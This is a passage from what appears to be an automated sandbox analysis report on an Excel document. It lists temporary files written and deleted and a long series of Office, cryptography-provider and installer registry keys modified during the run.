  279. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\378B079587A9184B2E2AB859CB263F40_524AD1B9B08D3C6450727265AE77B7D2",
  280. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\378B079587A9184B2E2AB859CB263F40_524AD1B9B08D3C6450727265AE77B7D2",
  281. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  282. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  283. "C:\\Users\\user\\AppData\\Local\\Temp\\CabF7C.tmp",
  284. "C:\\Users\\user\\AppData\\Local\\Temp\\TarF7D.tmp",
  285. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8EB35376744F392396307460D546222D_EE5928A1ED966A8C624D452A3935C970",
  286. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8EB35376744F392396307460D546222D_EE5928A1ED966A8C624D452A3935C970",
  287. "C:\\Users\\user\\AppData\\Local\\Temp\\~DFCC8F704F253FC49B.TMP"
  288. ]
  289.  
  290. [*] Deleted Files: [
  291. "C:\\Users\\user\\AppData\\Local\\Temp\\CabF7C.tmp",
  292. "C:\\Users\\user\\AppData\\Local\\Temp\\TarF7D.tmp",
  293. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Schemas\\MS Excel_restart.xml",
  294. "C:\\Users\\user\\AppData\\Local\\Temp\\~DFCC8F704F253FC49B.TMP",
  295. "C:\\Users\\user\\AppData\\Local\\Temp\\CVR190.tmp.cvr"
  296. ]
  297.  
  298. [*] Modified Registry Keys: [
  299. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Resiliency\\StartupItems",
  300. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Resiliency\\StartupItems\\2\"5",
  301. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Resiliency\\DocumentRecovery",
  302. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Resiliency\\DocumentRecovery\\10D4AC2",
  303. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Resiliency\\DocumentRecovery\\10D4AC2\\10D4AC2",
  304. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllPutSignedDataMsg\\{AB13F5B1-F718-11D0-82AA-00AA00C065E1}\\Dll",
  305. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllPutSignedDataMsg\\{AB13F5B1-F718-11D0-82AA-00AA00C065E1}\\FuncName",
  306. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{AB13F5B1-F718-11D0-82AA-00AA00C065E1}\\Dll",
  307. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{AB13F5B1-F718-11D0-82AA-00AA00C065E1}\\FuncName",
  308. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllRemoveSignedDataMsg\\{AB13F5B1-F718-11D0-82AA-00AA00C065E1}\\Dll",
  309. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllRemoveSignedDataMsg\\{AB13F5B1-F718-11D0-82AA-00AA00C065E1}\\FuncName",
  310. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllCreateIndirectData\\{AB13F5B1-F718-11D0-82AA-00AA00C065E1}\\Dll",
  311. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllCreateIndirectData\\{AB13F5B1-F718-11D0-82AA-00AA00C065E1}\\FuncName",
  312. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{AB13F5B1-F718-11D0-82AA-00AA00C065E1}\\Dll",
  313. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{AB13F5B1-F718-11D0-82AA-00AA00C065E1}\\FuncName",
  314. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\Providers\\Trust\\Initialization\\{1A6631C0-3EA2-11D1-AE01-006097C6A9AA}\\$DLL",
  315. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\Providers\\Trust\\Initialization\\{1A6631C0-3EA2-11D1-AE01-006097C6A9AA}\\$Function",
  316. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\Providers\\Trust\\Message\\{1A6631C0-3EA2-11D1-AE01-006097C6A9AA}\\$DLL",
  317. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\Providers\\Trust\\Message\\{1A6631C0-3EA2-11D1-AE01-006097C6A9AA}\\$Function",
  318. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\Providers\\Trust\\Signature\\{1A6631C0-3EA2-11D1-AE01-006097C6A9AA}\\$DLL",
  319. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\Providers\\Trust\\Signature\\{1A6631C0-3EA2-11D1-AE01-006097C6A9AA}\\$Function",
  320. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\Providers\\Trust\\Certificate\\{1A6631C0-3EA2-11D1-AE01-006097C6A9AA}\\$DLL",
  321. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\Providers\\Trust\\Certificate\\{1A6631C0-3EA2-11D1-AE01-006097C6A9AA}\\$Function",
  322. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\Providers\\Trust\\CertCheck\\{1A6631C0-3EA2-11D1-AE01-006097C6A9AA}\\$DLL",
  323. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\Providers\\Trust\\CertCheck\\{1A6631C0-3EA2-11D1-AE01-006097C6A9AA}\\$Function",
  324. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{1A6631C0-3EA2-11D1-AE01-006097C6A9AA}\\$DLL",
  325. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{1A6631C0-3EA2-11D1-AE01-006097C6A9AA}\\$Function",
  326. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\Providers\\Trust\\DiagnosticPolicy\\{1A6631C0-3EA2-11D1-AE01-006097C6A9AA}\\$DLL",
  327. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\Providers\\Trust\\DiagnosticPolicy\\{1A6631C0-3EA2-11D1-AE01-006097C6A9AA}\\$Function",
  328. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\Providers\\Trust\\Cleanup\\{1A6631C0-3EA2-11D1-AE01-006097C6A9AA}\\$DLL",
  329. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Cryptography\\Providers\\Trust\\Cleanup\\{1A6631C0-3EA2-11D1-AE01-006097C6A9AA}\\$Function",
  330. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\VBAFiles",
  331. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Security\\Trusted Documents",
  332. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Security\\Trusted Documents\\LastPurgeTime",
  333. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingConfigurableSettings",
  334. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastSyncTime",
  335. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastWriteTime",
  336. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle",
  337. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle\\ReviewToken",
  338. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\OUTLOOKFiles",
  339. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Resiliency\\DocumentRecovery\\10DF39F",
  340. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Resiliency\\DocumentRecovery\\10DF39F\\10DF39F",
  341. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  342. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  343. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Place MRU\\Change",
  344. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\File MRU\\Change",
  345. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Place MRU\\Change\\ChangeId",
  346. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\File MRU\\Change\\ChangeId",
  347. "HKEY_CURRENT_USER\\Software\\Microsoft\\IMEMIP\\0x0409",
  348. "HKEY_CURRENT_USER\\Software\\Microsoft\\IMEMIP\\0x0409\\Input",
  349. "HKEY_CURRENT_USER\\Software\\Microsoft\\IMEMIP\\0x0409\\TargetConverted",
  350. "HKEY_CURRENT_USER\\Software\\Microsoft\\IMEMIP\\0x0409\\Converted",
  351. "HKEY_CURRENT_USER\\Software\\Microsoft\\IMEMIP\\0x0409\\TargetNotConverted",
  352. "HKEY_CURRENT_USER\\Software\\Microsoft\\IMEMIP\\0x0409\\InputError",
  353. "HKEY_CURRENT_USER\\Software\\Microsoft\\IMEMIP\\0x0409\\FixedConverted",
  354. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\Common\\Cloud Storage",
  355. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ForceCacheRefresh",
  356. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OnceSucceeded",
  357. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  358. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  359. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT",
  360. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Capabilities",
  361. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ConnectMechanism",
  362. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsManaged",
  363. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsRemovable",
  364. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceOwner",
  365. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SortOrder",
  366. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SupportsMultiple",
  367. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\CapabilitiesMetadata",
  368. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Description",
  369. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Name",
  370. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceId",
  371. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceUrl",
  372. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata",
  373. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\KeyTip",
  374. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\Type",
  375. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails",
  376. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url16x16",
  377. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url32x32",
  378. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url48x48",
  379. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP",
  380. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Capabilities",
  381. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ConnectMechanism",
  382. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsManaged",
  383. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsRemovable",
  384. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceOwner",
  385. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SortOrder",
  386. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SupportsMultiple",
  387. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\CapabilitiesMetadata",
  388. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Description",
  389. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Name",
  390. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceId",
  391. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceUrl",
  392. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata",
  393. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\KeyTip",
  394. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\Type",
  395. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails",
  396. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  397. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  398. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  399. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT",
  400. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Capabilities",
  401. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ConnectMechanism",
  402. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsManaged",
  403. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsRemovable",
  404. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceOwner",
  405. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SortOrder",
  406. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SupportsMultiple",
  407. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\CapabilitiesMetadata",
  408. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Description",
  409. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Name",
  410. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceId",
  411. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceUrl",
  412. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata",
  413. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\KeyTip",
  414. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\Type",
  415. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails",
  416. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url16x16",
  417. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url32x32",
  418. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url48x48",
  419. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP",
  420. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Capabilities",
  421. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ConnectMechanism",
  422. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsManaged",
  423. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsRemovable",
  424. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceOwner",
  425. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SortOrder",
  426. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SupportsMultiple",
  427. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\CapabilitiesMetadata",
  428. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Description",
  429. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Name",
  430. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceId",
  431. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceUrl",
  432. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata",
  433. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\KeyTip",
  434. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\Type",
  435. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails",
  436. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  437. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  438. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  439. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED",
  440. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Capabilities",
  441. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ConnectMechanism",
  442. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsManaged",
  443. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsRemovable",
  444. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceOwner",
  445. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SortOrder",
  446. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SupportsMultiple",
  447. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\CapabilitiesMetadata",
  448. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Description",
  449. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Name",
  450. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceId",
  451. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceUrl",
  452. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata",
  453. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\KeyTip",
  454. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\Type",
